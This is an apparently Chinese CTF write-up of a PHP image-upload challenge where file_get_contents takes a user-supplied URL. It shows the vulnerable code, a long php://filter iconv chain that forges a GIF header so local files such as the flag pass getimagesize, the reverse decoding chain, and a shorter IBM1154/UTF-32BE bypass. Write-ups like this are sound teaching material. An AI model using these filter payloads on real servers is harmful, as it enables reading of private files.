Image

本题是一个简单的php应用,我们传入一个图片的url,然后会把读到的内容写入uuid.png,我们访问这个图片即可看到内容

[toc]

vulnerability

注意此处file_get_contents参数可控,可以用各种伪协议读本地的文件,这个题目的目标也就是达到任意文件读,但是本题在把内容写入时会使用getimagesize对读到的内容进行检查,需要是图片才能写入(检查文件头)

显然我们不能保证想读的文件都是图片形式的文件头,所以这里需要我们用php的filter来进行bypass,我们只需要将读到的内容经过某种编码,使得最终的文件头是图片形式即可,我们得到编码后的内容,再把filter反着写一遍就可以解密

环境搭建

Ubuntu 20.04

Apache/2.4.43

PHP/7.4.32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//index.php

<h1>Update profile picture</h1>
<?php

$user_uuid = 'uuid';
function saveImage($filename, $image) {
file_put_contents($filename, $image);
}

$image_url = $_GET['image'];
$image = file_get_contents($image_url);

$tmpfile = tmpfile();
fwrite($tmpfile, $image);
$image_details = getimagesize(stream_get_meta_data($tmpfile)['uri']);

if ($image_details) {
saveImage($user_uuid . '.png', $image);
echo $image;
echo '<img src="' . $user_uuid . '.png" alt="profile picture" width=100>';
} else {
echo 'Ain\'t no way!';
}

exploit

这里参考一篇经典文章

hxp CTF 2021 - The End Of LFI? - 跳跳糖 (tttang.com)

还可以使用@wupco师傅的脚本

wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT (github.com)

这里使用的图片头是GIF8

47 49 46 38

1
2
#GIF8
base64_payload = "R0lGOA"

脚本跑出来的结果如下

1
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag

文件可以成功写入

image-20221108190459726

再看看我们写入的文件内容

image-20221108190753568

最后只需要反着用一遍过滤器解码即可,但是这里实际解码时遇到了一些问题

1
file_get_contents('php://filter/convert.iconv.UTF7.UTF8|convert.base64-decode|convert.base64-encode|convert.iconv.UCS4.L10|convert.iconv.EUCJP-WIN.SJIS|convert.iconv.IBM-932.KOI8-U|convert.iconv.UTF32.PT|convert.iconv.UTF7.UTF8|convert.base64-decode|convert.base64-encode|convert.iconv.UCS-4LE.EUCKR|convert.iconv.EUC-JP-MS.ISO6937|convert.iconv.T.61.L4|convert.iconv.UTF32.CP1162|convert.iconv.UTF7.UTF8|convert.base64-decode|convert.base64-encode|convert.iconv.UCS-2BE.IBM932|convert.iconv.UTF-32LE.MSCP1361|convert.iconv.BIG5HKSCS.8859_4|convert.iconv.UTF16.CP-AR|convert.iconv.UTF7.UTF8|convert.base64-decode|convert.base64-encode|convert.iconv.ISO-IR-90.CP1282|convert.iconv.UNICODE.L6|convert.iconv.UTF7.UTF8|convert.base64-decode|convert.base64-encode|convert.iconv.CP775.ISO2022JP2|convert.iconv.ISO-2022-JP-3.CP857|convert.iconv.UTF-32.CSA_T500|convert.iconv.UTF7.UTF8|convert.base64-decode|convert.base64-encode|convert.iconv.SHIFT_JISX0213.863|convert.iconv.UTF16.8859_3|convert.iconv.UTF7.UTF8|convert.base64-decode|convert.iconv.CSISO2022KR.UTF8/resource=uuid.png');
  1. 使用convert.iconv.L4.T.61 这个过滤器编码后,反过来用 convert.iconv.T.61.L4 不能解码

image-20221108191419119

  1. 使用convert.base64-decode会去除不可见字符,如果反着来可能无法成功解码

最后参考原作者使用的方法

用这个过滤器能够bypass

1
php://filter/convert.iconv.IBM1154.UTF-32BE/resource=flag

image-20221108191958317

文件内容会成功写入

image-20221108191920518

最后反过来解码即可

1
file_get_contents('php://filter/convert.iconv.UTF-32BE.IBM1154/resource=uuid.png');

image-20221108192058956